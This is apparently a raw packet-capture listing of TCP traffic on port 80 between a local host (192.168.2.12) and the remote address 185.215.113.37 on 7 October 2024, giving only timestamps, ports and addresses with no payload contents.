Oct 7, 2024 18:03:20.812969923 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.812978029 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.812995911 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.813009024 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.813637972 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.813649893 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.813661098 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.813673019 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.813679934 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.813683987 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.813695908 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.813704967 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.813705921 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.813719988 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.813728094 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.813731909 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.813743114 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.813743114 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.813755035 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:20.813766003 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:20.813790083 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.197913885 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.197959900 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.197973013 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.197993040 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.198004961 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.198018074 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.198044062 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.198067904 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.198271036 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.198283911 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.198295116 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.198307037 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.198307991 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.198321104 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.198338032 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.198338032 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.198371887 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.198700905 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.198713064 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.198724031 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.198738098 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.198745012 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.198746920 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.198757887 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.198770046 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.198774099 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.198781013 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.198791027 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.198801994 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.198802948 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.198815107 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.198818922 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.198827028 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.198841095 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.198847055 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.198853970 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.198869944 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.198894024 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.199532032 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.199547052 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.199558973 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.199569941 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.199579954 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.199583054 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.199595928 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.199604034 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.199606895 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.199619055 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.199630022 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.199630976 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.199642897 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.199644089 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.199655056 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.199666977 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.199667931 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.199677944 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.199692011 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.199692965 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.199707031 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.199709892 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.199724913 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.199747086 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.200416088 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.200431108 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.200440884 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.200453043 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.200460911 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.200465918 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.200475931 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.200486898 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.200488091 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.200500965 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.200500965 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.200514078 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.200524092 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.200525045 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.200536966 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.200547934 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.200548887 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.200560093 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.200562000 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.200573921 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.200584888 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.200586081 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.200597048 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.200609922 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.200627089 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.201356888 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.201371908 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.201383114 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.201394081 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.201399088 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.201406956 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.201416969 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.201421976 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.201427937 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.201440096 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.201450109 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.201451063 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.201462984 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.201472998 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.201476097 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.201487064 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.201497078 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.201498032 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.201509953 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.201515913 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.201520920 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.201533079 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.201535940 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.201548100 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.201560020 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.201560974 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.201579094 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.201585054 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.201608896 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.202275991 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.202291012 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.202301025 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.202312946 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.202316999 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.202322960 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.202334881 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.202337027 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.202346087 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.202357054 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.202358961 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.202368975 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.202379942 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.202383995 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.202392101 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.202404976 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.202409029 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.202415943 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.202424049 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.202428102 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.202440023 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.202447891 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.202452898 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.202464104 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.202472925 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.202488899 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.202512980 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.244888067 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.244930983 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.244945049 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.244968891 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.245002031 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.245028973 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.245035887 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.245049953 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.245068073 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.245094061 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.245196104 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.245207071 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.245219946 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.245230913 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.245234966 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.245244026 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.245258093 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.245270967 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.245312929 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.245326042 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.245337009 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.245346069 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.245359898 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.245374918 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.245558023 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.245570898 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.245583057 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.245594025 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.245594025 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.245606899 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.245609999 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.245619059 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.245640993 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.245655060 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.246042013 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.246088982 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.246126890 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.246139050 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.246160030 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.246174097 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.246275902 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.246288061 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.246299982 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.246313095 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.246316910 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.246341944 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.246498108 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.246539116 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.246556997 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.246568918 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.246581078 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.246591091 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.246593952 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.246609926 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.246624947 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.246800900 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.246813059 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.246840000 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.246855021 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.246911049 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.246923923 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.246933937 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.246943951 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.246947050 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.246958017 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.246958971 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.246970892 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.246974945 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.246982098 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.246994019 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.247001886 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.247016907 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.247037888 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.247605085 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.247618914 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.247629881 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.247642040 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.247648954 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.247656107 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.247663975 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.247667074 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.247678041 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.247689009 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.247697115 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.247730970 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.247870922 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.248017073 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.248038054 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.248050928 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.248058081 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.248064041 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.248075962 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.248081923 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.248087883 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.248099089 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.248109102 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.248111010 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.248122931 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.248126030 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.248146057 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.248167992 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.248558998 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.248570919 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.248581886 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.248595953 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.248606920 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.248606920 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.248619080 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.248619080 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.248634100 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.248656988 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.248877048 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.248888969 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.248919010 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.248985052 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.248996019 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.249007940 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.249017954 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.249018908 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.249030113 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.249041080 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.249041080 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.249052048 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.249063969 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.249064922 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.249078035 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.249079943 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.249114990 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.249121904 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.249485016 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.249497890 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.249510050 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.249521971 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.249528885 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.249536037 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.249541998 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.249547005 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.249557018 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.249576092 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.249592066 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.249840021 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.249852896 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.249866009 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.249892950 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.251593113 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.266283035 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.266320944 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.266331911 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.266391993 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.266437054 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.369672060 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.369693041 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.369712114 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.369724035 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.369735003 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.369746923 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.369760036 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.369822025 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.369857073 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.369939089 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.369951010 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.369956017 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.369965076 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.370085001 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.370085001 CEST	49711	80	192.168.2.12	185.215.113.37
Oct 7, 2024 18:03:21.370127916 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.370141029 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.370151997 CEST	80	49711	185.215.113.37	192.168.2.12
Oct 7, 2024 18:03:21.370168924 CEST	49711	80	192.168.2.12	185.215.113.37
